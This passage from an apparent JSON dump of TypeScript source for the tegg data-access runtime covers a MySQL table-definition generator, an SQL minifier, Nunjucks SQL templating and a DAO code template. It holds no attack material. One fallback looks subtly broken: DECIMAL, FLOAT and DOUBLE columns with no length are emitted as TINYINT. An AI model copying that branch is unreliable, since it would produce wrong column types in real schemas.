    sqls.push(`COLLATE ${column.collate}`);\n    }\n    if (column.columnFormat) {\n      sqls.push(`COLUMN_FORMAT ${column.columnFormat}`);\n    }\n    if (column.engineAttribute) {\n      sqls.push(`ENGINE_ATTRIBUTE='${column.engineAttribute}'`);\n    }\n    if (column.secondaryEngineAttribute) {\n      sqls.push(`SECONDARY_ENGINE_ATTRIBUTE='${column.secondaryEngineAttribute}'`);\n    }\n    return sqls.join(' ');\n  }\n\n  private generateColumnType(columnType: ColumnTypeParams) {\n    const sqls: string[] = [];\n    switch (columnType.type) {\n      case ColumnType.BOOL: {\n        sqls.push('BOOL');\n        break;\n      }\n      case ColumnType.BIT: {\n        if (columnType.length) {\n          sqls.push(`BIT(${columnType.length})`);\n        } else {\n          sqls.push('BIT');\n        }\n        break;\n      }\n      case ColumnType.TINYINT:\n      case ColumnType.SMALLINT:\n      case ColumnType.MEDIUMINT:\n      case ColumnType.INT:\n      case ColumnType.BIGINT: {\n        if (typeof columnType.length === 'number') {\n          sqls.push(`${columnType.type}(${columnType.length})`);\n        } else {\n          sqls.push(columnType.type);\n        }\n        if (columnType.unsigned) {\n          sqls.push('UNSIGNED');\n        }\n        if (columnType.zeroFill) {\n          sqls.push('ZEROFILL');\n        }\n        break;\n      }\n      case ColumnType.DECIMAL:\n      case ColumnType.FLOAT:\n      case ColumnType.DOUBLE: {\n        if (typeof columnType.length === 'number' && typeof columnType.fractionalLength === 'number') {\n          sqls.push(`${columnType.type}(${columnType.length},${columnType.fractionalLength})`);\n        } else if (typeof columnType.length === 'number') {\n          sqls.push(`${columnType.type}(${columnType.length})`);\n        } else {\n          sqls.push('TINYINT');\n        }\n        if (columnType.unsigned) {\n          sqls.push('UNSIGNED');\n        }\n        if (columnType.zeroFill) {\n          sqls.push('ZEROFILL');\n        }\n        break;\n      }\n      case ColumnType.DATE: {\n        sqls.push('DATE');\n        break;\n      }\n      case ColumnType.DATETIME:\n      case ColumnType.TIMESTAMP: {\n        if (columnType.precision) {\n          sqls.push(`${columnType.type}(${columnType.precision})`);\n        } else {\n          sqls.push(columnType.type);\n        }\n        if (columnType.autoUpdate) {\n          if (columnType.precision) {\n            sqls.push(`ON UPDATE CURRENT_TIMESTAMP(${columnType.precision})`);\n          } else {\n            sqls.push('ON UPDATE CURRENT_TIMESTAMP');\n          }\n        }\n        break;\n      }\n      case ColumnType.TIME: {\n        if (columnType.precision) {\n          sqls.push(`${columnType.type}(${columnType.precision})`);\n        } else {\n          sqls.push(columnType.type);\n        }\n        break;\n      }\n      case ColumnType.YEAR: {\n        sqls.push('YEAR');\n        break;\n      }\n      case ColumnType.CHAR:\n      case ColumnType.TEXT: {\n        if (columnType.length) {\n          sqls.push(`${columnType.type}(${columnType.length})`);\n        } else {\n          sqls.push(columnType.type);\n        }\n        if (columnType.characterSet) {\n          sqls.push(`CHARACTER SET ${columnType.characterSet}`);\n        }\n        if (columnType.collate) {\n          sqls.push(`COLLATE ${columnType.collate}`);\n        }\n        break;\n      }\n      case ColumnType.VARCHAR: {\n        sqls.push(`${columnType.type}(${columnType.length})`);\n        if (columnType.characterSet) {\n          sqls.push(`CHARACTER SET ${columnType.characterSet}`);\n        }\n        if (columnType.collate) {\n          sqls.push(`COLLATE ${columnType.collate}`);\n        }\n        break;\n      }\n      case ColumnType.BINARY: {\n        if (columnType.length) {\n          sqls.push(`${columnType.type}(${columnType.length})`);\n        } else {\n          sqls.push(columnType.type);\n        }\n        break;\n      }\n      case ColumnType.VARBINARY: {\n        sqls.push(`${columnType.type}(${columnType.length})`);\n        break;\n      }\n      case ColumnType.TINYBLOB: {\n        sqls.push('TINYBLOB');\n        break;\n      }\n      case ColumnType.TINYTEXT:\n      case ColumnType.MEDIUMTEXT:\n      case ColumnType.LONGTEXT: {\n        sqls.push(columnType.type);\n        if (columnType.characterSet) {\n          sqls.push(`CHARACTER SET ${columnType.characterSet}`);\n        }\n        if (columnType.collate) {\n          sqls.push(`COLLATE ${columnType.collate}`);\n        }\n        break;\n      }\n      case ColumnType.BLOB: {\n        if (columnType.length) {\n          sqls.push(`${columnType.type}(${columnType.length})`);\n        } else {\n          sqls.push(columnType.type);\n        }\n        break;\n      }\n      case ColumnType.MEDIUMBLOB: {\n        sqls.push('MEDIUMBLOB');\n        break;\n      }\n      case ColumnType.LONGBLOB: {\n        sqls.push('LONGBLOB');\n        break;\n      }\n      case ColumnType.ENUM: {\n        const enumValue: string = columnType.enums.map((t) => `'${t}'`).join(',');\n        sqls.push(`ENUM(${enumValue})`);\n        if (columnType.characterSet) {\n          sqls.push(`CHARACTER SET ${columnType.characterSet}`);\n        }\n        if (columnType.collate) {\n          sqls.push(`COLLATE ${columnType.collate}`);\n        }\n        break;\n      }\n      case ColumnType.SET: {\n        const enumValue: string = columnType.enums.map((t) => `'${t}'`).join(',');\n        sqls.push(`SET(${enumValue})`);\n        if (columnType.characterSet) {\n          sqls.push(`CHARACTER SET ${columnType.characterSet}`);\n        }\n        if (columnType.collate) {\n          sqls.push(`COLLATE ${columnType.collate}`);\n        }\n        break;\n      }\n      case ColumnType.JSON: {\n        sqls.push('JSON');\n        break;\n      }\n      case ColumnType.GEOMETRY:\n      case ColumnType.POINT:\n      case ColumnType.LINESTRING:\n      case ColumnType.POLYGON:\n      case ColumnType.MULTIPOINT:\n      case ColumnType.MULTILINESTRING:\n      case ColumnType.MULTIPOLYGON:\n      case ColumnType.GEOMETRYCOLLECTION: {\n        sqls.push(columnType.type);\n        break;\n      }\n      default: {\n        throw new Error(`unknown ColumnType ${columnType}`);\n      }\n    }\n    return sqls.join(' ');\n  }\n\n  private generateIndex(indexModel: IndexModel) {\n    const indexSql: string[] = [' '];\n    switch (indexModel.type) {\n      case IndexType.INDEX: {\n        indexSql.push('KEY');\n        break;\n      }\n      case IndexType.UNIQUE: {\n        indexSql.push('UNIQUE KEY');\n        break;\n      }\n      case IndexType.PRIMARY: {\n        indexSql.push('PRIMARY KEY');\n        break;\n      }\n      case IndexType.FULLTEXT: {\n        indexSql.push('FULLTEXT KEY');\n        break;\n      }\n      case IndexType.SPATIAL: {\n        indexSql.push('SPATIAL KEY');\n        break;\n      }\n      default: {\n        throw new Error(`unknown IndexType ${indexModel.type}`);\n      }\n    }\n    indexSql.push(indexModel.name);\n    indexSql.push(`(${indexModel.keys.map((t) => t.columnName).join(',')})`);\n    if (indexModel.storeType) {\n      indexSql.push(`USING ${indexModel.storeType}`);\n    }\n    if (indexModel.parser) {\n      indexSql.push(`WITH PARSER ${indexModel.parser}`);\n    }\n    if (indexModel.comment) {\n      indexSql.push(`COMMENT '${this.formatComment(indexModel.comment)}'`);\n    }\n    if (indexModel.engineAttribute) {\n      indexSql.push(`ENGINE_ATTRIBUTE='${indexModel.engineAttribute}'`);\n    }\n    if (indexModel.secondaryEngineAttribute) {\n      indexSql.push(`SECONDARY_ENGINE_ATTRIBUTE='${indexModel.secondaryEngineAttribute}'`);\n    }\n    return indexSql.join(' ');\n  }\n\n  private generateTableOptions(tableModel: TableModel) {\n    const sqls: string[] = [];\n    if (tableModel.autoExtendSize) {\n      sqls.push(`AUTOEXTEND_SIZE=${tableModel.autoExtendSize}`);\n    }\n    if (tableModel.autoIncrement) {\n      sqls.push(`AUTO_INCREMENT=${tableModel.autoIncrement}`);\n    }\n    if (tableModel.avgRowLength) {\n      sqls.push(`AVG_ROW_LENGTH=${tableModel.avgRowLength}`);\n    }\n    if (tableModel.characterSet) {\n      sqls.push(`DEFAULT CHARACTER SET ${tableModel.characterSet}`);\n    }\n    if (tableModel.collate) {\n      sqls.push(`DEFAULT COLLATE ${tableModel.collate}`);\n    }\n    if (tableModel.comment) {\n      sqls.push(`COMMENT='${this.formatComment(tableModel.comment)}'`);\n    }\n    if (tableModel.compression) {\n      sqls.push(`COMPRESSION='${tableModel.compression}'`);\n    }\n    if (typeof tableModel.encryption !== 'undefined') {\n      sqls.push(`ENCRYPTION='${tableModel.encryption ? 'Y' : 'N'}'`);\n    }\n    if (typeof tableModel.engine !== 'undefined') {\n      sqls.push(`ENGINE=${tableModel.engine}`);\n    }\n    if (tableModel.engineAttribute) {\n      sqls.push(`ENGINE_ATTRIBUTE='${tableModel.engineAttribute}'`);\n    }\n    if (tableModel.secondaryEngineAttribute) {\n      sqls.push(`SECONDARY_ENGINE_ATTRIBUTE = '${tableModel.secondaryEngineAttribute}'`);\n    }\n    if (tableModel.insertMethod) {\n      sqls.push(`INSERT_METHOD=${tableModel.insertMethod}`);\n    }\n    if (tableModel.keyBlockSize) {\n      sqls.push(`KEY_BLOCK_SIZE=${tableModel.keyBlockSize}`);\n    }\n    if (tableModel.maxRows) {\n      sqls.push(`MAX_ROWS=${tableModel.maxRows}`);\n    }\n    if (tableModel.minRows) {\n      sqls.push(`MIN_ROWS=${tableModel.minRows}`);\n    }\n    if (tableModel.rowFormat) {\n      sqls.push(`ROW_FORMAT=${tableModel.rowFormat}`);\n    }\n    return sqls.join(', ');\n  }\n\n  generate(tableModel: TableModel): string {\n    const createSql: string[] = [];\n    createSql.push(`CREATE TABLE IF NOT EXISTS ${tableModel.name} (`);\n\n    const columnSql: string[] = [];\n    for (const column of tableModel.columns) {\n      columnSql.push(this.generateColumn(column));\n    }\n\n    const indexSql: string[] = [];\n    for (const index of tableModel.indices) {\n      indexSql.push(this.generateIndex(index));\n    }\n    if (indexSql.length) {\n      createSql.push(columnSql.join(',\\n') + ',');\n      createSql.push(indexSql.join(',\\n'));\n    } else {\n      createSql.push(columnSql.join(',\\n'));\n    }\n    createSql.push(`) ${this.generateTableOptions(tableModel)};`);\n\n    return createSql.join('\\n');\n  }\n}\n"
  },
  {
    "path": "tegg/core/dal-runtime/src/SqlMapLoader.ts",
    "content": "import { type BaseDaoType, TableModel } from '@eggjs/dal-decorator';\nimport type { Logger, SqlMap } from '@eggjs/tegg-types';\n\nimport { BaseSqlMapGenerator } from './BaseSqlMap.ts';\nimport { TableSqlMap } from './TableSqlMap.ts';\n\nexport class SqlMapLoader {\n  private readonly logger: Logger;\n  private readonly tableModel: TableModel;\n  private readonly clazzExtension: Record<string, SqlMap>;\n\n  constructor(tableModel: TableModel, baseDaoClazz: BaseDaoType, logger: Logger) {\n    this.clazzExtension = baseDaoClazz.clazzExtension;\n    this.logger = logger;\n    this.tableModel = tableModel;\n  }\n\n  load(): TableSqlMap {\n    const baseSqlMapGenerator = new BaseSqlMapGenerator(this.tableModel, this.logger);\n    const baseSqlMap = baseSqlMapGenerator.load();\n    const sqlMap = {\n      ...baseSqlMap,\n      ...this.clazzExtension,\n    };\n    return new TableSqlMap(this.tableModel.clazz.name, sqlMap);\n  }\n}\n"
  },
  {
    "path": "tegg/core/dal-runtime/src/SqlUtil.ts",
    "content": "function isWhiteChar(ch: string) {\n  return ch === ' ' || ch === '\\n' || ch === '\\r' || ch === '\\t';\n}\n\nconst COMMENT_CHARS = '-#/';\nconst MUL_CHAR_LEADING_COMMENT_FIRST_CHAR = {\n  MAY_BE_FIRST_COMMENT: '-',\n  MAY_BE_FIRST_BLOCK_COMMENT: '/',\n};\nconst MUL_CHAR_LEADING_COMMENT_VERIFIER = {\n  MAY_BE_FIRST_COMMENT: '-',\n  MAY_BE_FIRST_BLOCK_COMMENT: '*',\n};\nconst MUL_CHAR_LEADING_COMMENT_NEXT_STATE = {\n  MAY_BE_FIRST_COMMENT: 'IN_COMMENT_WAIT_HINT',\n  MAY_BE_FIRST_BLOCK_COMMENT: 'IN_BLOCK_COMMENT_WAIT_HINT',\n};\n\nexport class SqlUtil {\n  static minify(sql: string): string {\n    let ret = '';\n\n    let state = 'START';\n    let tempNextState;\n    for (let i = 0; i < sql.length; i++) {\n      const ch = sql[i];\n      switch (state) {\n        case 'MAY_BE_FIRST_COMMENT':\n        case 'MAY_BE_FIRST_BLOCK_COMMENT':\n          switch (ch) {\n            case '\"':\n              tempNextState = 'DOUBLE_QUOTE';\n              break;\n            case \"'\":\n              tempNextState = 'SINGLE_QUOTE';\n              break;\n            case MUL_CHAR_LEADING_COMMENT_VERIFIER[state]:\n              tempNextState = MUL_CHAR_LEADING_COMMENT_NEXT_STATE[state];\n              break;\n            default:\n              tempNextState = 'CONTENT';\n              break;\n          }\n          if (ch !== MUL_CHAR_LEADING_COMMENT_VERIFIER[state]) {\n            ret += `${MUL_CHAR_LEADING_COMMENT_FIRST_CHAR[state]}${ch}`;\n          }\n          state = tempNextState;\n          break;\n\n        case 'IN_COMMENT_WAIT_HINT':\n          if (ch !== '+') {\n            state = 'IN_COMMENT';\n          } else {\n            state = 'IN_COMMENT_HINT';\n            ret += '--+';\n          }\n          break;\n\n        case 'IN_BLOCK_COMMENT_WAIT_HINT':\n          if (ch !== '+') {\n            state = 'IN_BLOCK_COMMENT';\n          } else {\n            state = 'IN_BLOCK_COMMENT_HINT';\n            ret += '/*+';\n          }\n          break;\n\n        case 'MAY_BE_LAST_BLOCK_COMMENT':\n          if (ch === '/') {\n            if (ret && !isWhiteChar(ret[ret.length - 1])) ret += ' ';\n            state = 'IN_SPACE';\n          } else {\n            state = 'IN_BLOCK_COMMENT';\n          }\n          break;\n\n        case 'MAY_BE_LAST_BLOCK_COMMENT_HINT':\n          ret += ch;\n          if (ch === '/') {\n            state = 'IN_SPACE';\n            if (isWhiteChar(sql[i + 1])) ret += sql[i + 1];\n          } else {\n            state = 'IN_BLOCK_COMMENT_HINT';\n          }\n          break;\n\n        case 'IN_COMMENT':\n          if (ch === '\\n' || ch === '\\r') {\n            if (ret && !isWhiteChar(ret[ret.length - 1])) ret += ' ';\n            state = 'IN_SPACE';\n          }\n          break;\n\n        case 'IN_COMMENT_HINT':\n          ret += ch;\n          if (ch === '\\n' || ch === '\\r') {\n            state = 'IN_SPACE';\n          }\n          break;\n\n        case 'IN_BLOCK_COMMENT':\n          if (ch === '*') {\n            state = 'MAY_BE_LAST_BLOCK_COMMENT';\n          }\n          break;\n\n        case 'IN_BLOCK_COMMENT_HINT':\n          ret += ch;\n          if (ch === '*') {\n            state = 'MAY_BE_LAST_BLOCK_COMMENT_HINT';\n          }\n          break;\n\n        case 'START':\n          if (isWhiteChar(ch)) continue;\n          switch (ch) {\n            case '\"':\n              state = 'DOUBLE_QUOTE';\n              break;\n            case \"'\":\n              state = 'SINGLE_QUOTE';\n              break;\n            case '-':\n              state = 'MAY_BE_FIRST_COMMENT';\n              break;\n            case '#':\n              state = 'IN_COMMENT';\n              break;\n            case '/':\n              state = 'MAY_BE_FIRST_BLOCK_COMMENT';\n              break;\n            default:\n              state = 'CONTENT';\n              break;\n          }\n          if (!COMMENT_CHARS.includes(ch)) ret += ch;\n          break;\n\n        case 'DOUBLE_QUOTE':\n        case 'SINGLE_QUOTE':\n          switch (ch) {\n            case '\\\\':\n              state = `BACKSLASH_AFTER_${state}`;\n              break;\n            case \"'\":\n              if (state === 'SINGLE_QUOTE') {\n                state = 'QUOTE_DONE';\n              }\n              break;\n            case '\"':\n              if (state === 'DOUBLE_QUOTE') {\n                state = 'QUOTE_DONE';\n              }\n              break;\n            default:\n              break;\n          }\n          ret += ch;\n          break;\n\n        case 'BACKSLASH_AFTER_SINGLE_QUOTE':\n        case 'BACKSLASH_AFTER_DOUBLE_QUOTE':\n          ret += ch;\n          state = state.substr(16);\n          break;\n\n        case 'QUOTE_DONE':\n        case 'CONTENT':\n          switch (ch) {\n            case \"'\":\n              state = 'SINGLE_QUOTE';\n              break;\n            case '\"':\n              state = 'DOUBLE_QUOTE';\n              break;\n            case '-':\n              state = 'MAY_BE_FIRST_COMMENT';\n              break;\n            case '#':\n              state = 'IN_COMMENT';\n              break;\n            case '/':\n              state = 'MAY_BE_FIRST_BLOCK_COMMENT';\n              break;\n            default:\n              if (isWhiteChar(ch)) {\n                state = 'IN_SPACE';\n                ret += ' ';\n                continue;\n              }\n              state = 'CONTENT';\n          }\n          if (!COMMENT_CHARS.includes(ch)) ret += ch;\n          break;\n\n        case 'IN_SPACE':\n          switch (ch) {\n            case \"'\":\n              state = 'SINGLE_QUOTE';\n              break;\n            case '\"':\n              state = 'DOUBLE_QUOTE';\n              break;\n            case '-':\n              state = 'MAY_BE_FIRST_COMMENT';\n              break;\n            case '#':\n              state = 'IN_COMMENT';\n              break;\n            case '/':\n              state = 'MAY_BE_FIRST_BLOCK_COMMENT';\n              break;\n            default:\n              if (isWhiteChar(ch)) continue;\n              state = 'CONTENT';\n          }\n          if (!COMMENT_CHARS.includes(ch)) ret += ch;\n          break;\n\n        default:\n          throw new Error('Unexpected state machine while minifying SQL.');\n      }\n    }\n\n    return ret.trim();\n  }\n}\n"
  },
  {
    "path": "tegg/core/dal-runtime/src/TableModelInstanceBuilder.ts",
    "content": "import { TableModel } from '@eggjs/dal-decorator';\n\nexport class TableModelInstanceBuilder {\n  constructor(tableModel: TableModel, row: Record<string, any>) {\n    for (const [key, value] of Object.entries(row)) {\n      const column = tableModel.columns.find((t) => t.columnName === key);\n      Reflect.set(this, column?.propertyName ?? key, value);\n    }\n  }\n\n  static buildInstance<T>(tableModel: TableModel<T>, row: Record<string, any>): T {\n    return Reflect.construct(TableModelInstanceBuilder, [tableModel, row], tableModel.clazz);\n  }\n\n  static buildRow<T extends object>(instance: T, tableModel: TableModel<T>): Record<string, any> {\n    const result: Record<string, any> = {};\n    for (const column of tableModel.columns) {\n      const columnValue = Reflect.get(instance, column.propertyName);\n      if (typeof columnValue !== 'undefined') {\n        result[`$${column.propertyName}`] = columnValue;\n      }\n    }\n    return result;\n  }\n}\n"
  },
  {
    "path": "tegg/core/dal-runtime/src/TableSqlMap.ts",
    "content": "import { SqlType } from '@eggjs/tegg-types';\nimport type { SqlMap } from '@eggjs/tegg-types';\nimport { Template } from 'nunjucks';\n\nimport { NunjucksUtils } from './NunjucksUtil.ts';\nimport { TemplateUtil } from './TemplateUtil.ts';\n\nconst SQL_PARAMS = '$$__sql_params';\n\nexport interface GeneratedSql {\n  sql: string;\n  params: any[];\n}\n\nexport interface SqlGenerator {\n  type: SqlType;\n  template: Template;\n  raw: string;\n}\n\nexport class TableSqlMap {\n  readonly name: string;\n  private readonly map: Record<string, SqlMap>;\n  private readonly blocks: Record<string, string>;\n  private readonly sqlGenerator: Record<string, SqlGenerator>;\n\n  constructor(name: string, map: Record<string, SqlMap>) {\n    this.name = name;\n    this.map = map;\n\n    const env = NunjucksUtils.createEnv(name);\n    const extracted = this.#extract(this.map);\n    this.blocks = extracted.blocks;\n    this.sqlGenerator = extracted.sqlGenerator;\n\n    for (const key in this.blocks) {\n      // istanbul ignore if\n      if (!this.blocks.hasOwnProperty(key)) continue;\n      env.addGlobal(key, this.blocks[key]);\n    }\n\n    env.addFilter('toJson', TemplateUtil.toJson);\n    env.addFilter('toPoint', TemplateUtil.toPoint);\n    env.addFilter('toLine', TemplateUtil.toLine);\n    env.addFilter('toPolygon', TemplateUtil.toPolygon);\n    env.addFilter('toGeometry', TemplateUtil.toGeometry);\n    env.addFilter('toMultiPoint', TemplateUtil.toMultiPoint);\n    env.addFilter('toMultiLine', TemplateUtil.toMultiLine);\n    env.addFilter('toMultiPolygon', TemplateUtil.toMultiPolygon);\n    env.addFilter('toGeometryCollection', TemplateUtil.toGeometryCollection);\n    env.addFilter('param', function (this: any, value: any) {\n      if (this.ctx[SQL_PARAMS]) {\n        this.ctx[SQL_PARAMS].push(value);\n      }\n      return '?';\n    });\n  }\n\n  #extract(map: Record<string, SqlMap>) {\n    const ret = {\n      blocks: {},\n      sqlGenerator: {},\n    } as {\n      blocks: Record<string, string>;\n      sqlGenerator: Record<string, SqlGenerator>;\n    };\n\n    for (const key in map) {\n      // istanbul ignore if\n      if (!map.hasOwnProperty(key)) continue;\n\n      const sqlMap = map[key];\n\n      switch (sqlMap.type) {\n        case SqlType.BLOCK:\n          ret.blocks[key] = sqlMap.content || '';\n          break;\n        case SqlType.INSERT:\n        case SqlType.SELECT:\n        case SqlType.UPDATE:\n        case SqlType.DELETE:\n        default:\n          ret.sqlGenerator[key] = {\n            type: sqlMap.type,\n            template: NunjucksUtils.compile(this.name, key, sqlMap.sql || ''),\n            raw: sqlMap.sql,\n          };\n          break;\n      }\n    }\n\n    return ret;\n  }\n\n  generate(name: string, data: object, timezone: string): GeneratedSql {\n    const generator = this.sqlGenerator[name];\n    // istanbul ignore if\n    if (!generator) {\n      throw new Error(`No sql map named '${name}' in '${name}'.`);\n    }\n\n    const template = generator.template;\n    const params: any[] = [];\n    (template as any).env.timezone = timezone;\n    const context = {\n      ...data,\n      [SQL_PARAMS]: params,\n    };\n    const sql = template.render(context);\n    return { sql, params };\n  }\n\n  getType(name: string): SqlType {\n    const generator = this.sqlGenerator[name];\n    // istanbul ignore if\n    if (!generator) {\n      throw new Error(`No sql map named '${name}' in '${name}'.`);\n    }\n\n    return generator.type;\n  }\n\n  getTemplateString(name: string): string {\n    const generator = this.sqlGenerator[name];\n    // istanbul ignore if\n    if (!generator) {\n      throw new Error(`No sql map named '${name}' in '${name}'.`);\n    }\n\n    return generator.raw;\n  }\n}\n"
  },
  {
    "path": "tegg/core/dal-runtime/src/TemplateUtil.ts",
    "content": "import path from 'node:path';\n\nimport { ColumnModel, SpatialHelper } from '@eggjs/dal-decorator';\nimport { ColumnType } from '@eggjs/tegg-types';\nimport type {\n  Geometry,\n  GeometryCollection,\n  Line,\n  MultiLine,\n  MultiPoint,\n  MultiPolygon,\n  Point,\n  Polygon,\n} from '@eggjs/tegg-types';\n\nexport class TemplateUtil {\n  static isSpatialType(columnModel: ColumnModel): boolean {\n    switch (columnModel.type.type) {\n      case ColumnType.GEOMETRY:\n      case ColumnType.POINT:\n      case ColumnType.LINESTRING:\n      case ColumnType.POLYGON:\n      case ColumnType.MULTIPOINT:\n      case ColumnType.MULTILINESTRING:\n      case ColumnType.MULTIPOLYGON:\n      case ColumnType.GEOMETRYCOLLECTION: {\n        return true;\n      }\n      default: {\n        return false;\n      }\n    }\n  }\n\n  static importPath(tableModelPath: string, currentPath: string): string {\n    return path.relative(currentPath, tableModelPath);\n  }\n\n  static dbTypeToTsType(columnType: ColumnType): string {\n    return `ColumnTsType['${columnType}']`;\n  }\n\n  static toJson(value: any): string {\n    return JSON.stringify(JSON.stringify(value));\n  }\n\n  static toPoint(point: Point): string {\n    if (typeof point.x !== 'number' || typeof point.y !== 'number') {\n      throw new Error(`invalidate point ${JSON.stringify(point)}`);\n    }\n    return `Point(${point.x}, ${point.y})`;\n  }\n  static toLine(val: Line): string {\n    const points = val.map((t) => TemplateUtil.toPoint(t));\n    return `LINESTRING(${points.join(',')})`;\n  }\n  static toPolygon(val: Polygon): string {\n    const lines = val.map((t) => TemplateUtil.toLine(t));\n    return `POLYGON(${lines.join(',')})`;\n  }\n  static toGeometry(val: Geometry): string {\n    const type = SpatialHelper.getGeometryType(val);\n    const filterName = TemplateUtil.getSpatialFilter(type);\n    return (TemplateUtil as any)[filterName](val);\n  }\n  static toMultiPoint(val: MultiPoint): string {\n    const points = val.map((t) => TemplateUtil.toPoint(t));\n    return `MULTIPOINT(${points.join(',')})`;\n  }\n  static toMultiLine(val: MultiLine): string {\n    const lines = val.map((t) => TemplateUtil.toLine(t));\n    return `MULTILINESTRING(${lines.join(',')})`;\n  }\n  static toMultiPolygon(val: MultiPolygon): string {\n    const polygon = val.map((t) => TemplateUtil.toPolygon(t));\n    return `MULTIPOLYGON(${polygon.join(',')})`;\n  }\n  static toGeometryCollection(val: GeometryCollection): string {\n    const geometries = val.map((t) => {\n      return TemplateUtil.toGeometry(t);\n    });\n    return `GEOMETRYCOLLECTION(${geometries.join(',')})`;\n  }\n\n  static spatialFilter = {\n    [ColumnType.POINT]: 'toPoint',\n    [ColumnType.LINESTRING]: 'toLine',\n    [ColumnType.POLYGON]: 'toPolygon',\n    [ColumnType.GEOMETRY]: 'toGeometry',\n    [ColumnType.MULTIPOINT]: 'toMultiPoint',\n    [ColumnType.MULTILINESTRING]: 'toMultiLine',\n    [ColumnType.MULTIPOLYGON]: 'toMultiPolygon',\n    [ColumnType.GEOMETRYCOLLECTION]: 'toGeometryCollection',\n  } as Record<ColumnType, string>;\n\n  static getSpatialFilter(columnType: ColumnType): string {\n    const filter = TemplateUtil.spatialFilter[columnType];\n    if (!filter) {\n      throw new Error(`type ${columnType} is not spatial type`);\n    }\n    return filter;\n  }\n}\n"
  },
  {
    "path": "tegg/core/dal-runtime/src/index.ts",
    "content": "export * from './BaseSqlMap.ts';\nexport * from './CodeGenerator.ts';\nexport * from './CodeGenerator.ts';\nexport * from './DaoLoader.ts';\nexport * from './DatabaseForker.ts';\nexport * from './DataSource.ts';\nexport * from './MySqlDataSource.ts';\nexport * from './NunjucksConverter.ts';\nexport * from './NunjucksUtil.ts';\nexport * from './SqlGenerator.ts';\nexport * from './SqlMapLoader.ts';\nexport * from './SqlUtil.ts';\nexport * from './TableModelInstanceBuilder.ts';\nexport { TableSqlMap } from './TableSqlMap.ts';\nexport * from './TemplateUtil.ts';\n"
  },
  {
    "path": "tegg/core/dal-runtime/src/templates/base_dao.njk",
    "content": "{% macro newDataLogic(columns, old, new) %}\nlet tmp;\n{% for column in table.columns %}\n// empty-line\ntmp = {{ old }}.{{ column.propertyName }};\nif (tmp !== undefined) {\n  {{ new }}.${{ column.propertyName }} = tmp;\n}\n{% endfor %}\n{% endmacro %}\n\n{% macro findLogic(funcName, sqlName, idx, uniq) %}\npublic async {{ funcName }}(\n  {% for key in idx.keys %}\n  ${{ key.propertyName }}: {{columnMap[key.propertyName].type.type | dbTypeToTSType}}{% if loop.last !== true %},{% endif%}\n  {% endfor %}\n): Promise<{{ clazzName }}{{ '| null' if uniq else '[]' }}> {\n  return this.dataSource.{{ 'executeScalar' if uniq else 'execute' }}('{{ sqlName }}', {\n    {% for key in idx.keys %}\n    ${{ key.propertyName }},\n    {% endfor %}\n  });\n}\n{% endmacro %}\n\n{% macro generatePrimaryType(primary) %}\n{% if (primary.keys | length) === 1 %}\n{{primary.keys[0].propertyName}}: {{ columnMap[primary.keys[0].propertyName].type.type | dbTypeToTSType}}\n{% else %}\nprimary: {\n  {% for key in primary.keys %}\n  {{ key.propertyName }}: {{columnMap[key.propertyName].type.type | dbTypeToTSType}}{% if loop.last !== true %},{% endif%}\n  {% endfor %}\n}\n{% endif %}\n{% endmacro %}\n\n{% macro generateUpdateValue(primary) %}\n{% if (primary.keys | length) === 1 %}\nconst newData: Record<string, any> = {\n  primary: {\n    {{primary.keys[0].propertyName}},\n  },\n};\n{% else %}\nconst newData: Record<string, any> = {\n  primary,\n};\n{% endif %}\n{% endmacro %}\n\n{% macro generateDeleteValue(primary) %}\n{% if (primary.keys | length) === 1 %}\n{\n  {{primary.keys[0].propertyName}},\n}\n\n{% else %}\nprimary\n{% endif %}\n{% endmacro %}\n\n{% macro generateInsertType(primary) %}\nOptional<{{clazzName}},\n  {% for key in primary.keys %}\n  '{{ key.propertyName }}'{% if loop.last !== true %}|{% endif%}\n  {% endfor %}\n>\n{% endmacro %}\n\nimport fs from 'node:fs';\nimport path from 'node:path';\nimport type { InsertResult, UpdateResult, DeleteResult } from '{{dalPkg}}';\nimport { Inject } from '{{teggPkg}}';\nimport { Dao } from '{{teggPkg}}/dal';\nimport { type DataSource, type ColumnTsType, DataSourceInjectName, DataSourceQualifier } from '{{dalPkg}}';\nimport { {{ clazzName }} } from '{{ tableModelPath }}';\nimport {{ clazzName }}Extension from '{{ extensionPath }}';\n// @ts-expect-error ignore json file\nimport Structure from '{{ structurePath }}';\n\nconst SQL = Symbol('Dao#sql');\n\n// empty-line\ntype Optional<T, K extends keyof T> = Omit<T, K> & Partial<T>;\n/**\n * 自动生成的 {{ clazzName }}DAO 基类\n * @class Base{{ clazzName }}DAO\n * @classdesc 该文件由 {{teggPkg}} 自动生成，请**不要**修改它！\n */\n/* istanbul ignore next */\n@Dao()\nexport class Base{{ clazzName }}DAO {\n  static clazzModel: typeof {{ clazzName }} = {{ clazzName }};\n  static clazzExtension: typeof {{ clazzName }}Extension = {{ clazzName }}Extension;\n  static tableStature: typeof Structure = Structure;\n  static get tableSql(): string {\n    if (!this[SQL]) {\n      this[SQL] = fs.readFileSync(path.join(__dirname, '../../structure/{{clazzName}}.sql'), 'utf8');\n    }\n    return this[SQL];\n  }\n\n  @Inject({\n    name: DataSourceInjectName,\n  })\n  @DataSourceQualifier('{{moduleName}}.{{ table.dataSourceName }}.{{ clazzName }}')\n  protected readonly dataSource: DataSource<{{clazzName}}>;\n\n  // empty-line\n  {# insert: 插入 #}\n  public async insert(raw: {{generateInsertType(primaryIndex)}}): Promise<InsertResult> {\n    const data: Record<string, any> = {};\n\n    {{ newDataLogic(columns, 'raw', 'data') }}\n\n    // empty-line\n    return this.dataSource.executeRawScalar('insert', data);\n  }\n\n  // empty-line\n  {# update: 更新 #}\n  public async update({{generatePrimaryType(primaryIndex)}}, data: Partial<{{ ((clazzName)) }}>): Promise<UpdateResult> {\n    // empty-line\n    {{ generateUpdateValue(primaryIndex) }}\n\n    {{ newDataLogic(columns, 'data', 'newData') }}\n\n    // empty-line\n    return this.dataSource.executeRawScalar('update', newData);\n  }\n\n  {% for funcName in [ 'delete', 'del' ] %}\n  // empty-line\n  {# delete: 删除 #}\n  public async {{ funcName }}({{generatePrimaryType(primaryIndex)}}): Promise<DeleteResult> {\n    return this.dataSource.executeRawScalar('delete', {{generateDeleteValue(primaryIndex)}});\n  }\n  {% endfor %}\n\n  {% for idx in table.indices %}\n  // empty-line\n  {# 某个索引 #}\n  {% set tmpName = ((idx.keys[0].propertyName if (idx.keys | length) === 1 else idx.name) | pascalCase) %}\n  {% set findName = 'findBy' + tmpName %}\n  {% set findOneName = 'findOneBy' + tmpName %}\n    {{ findLogic(findName, findName, idx, false) }}\n    // empty-line\n    {{ findLogic(findOneName, findOneName, 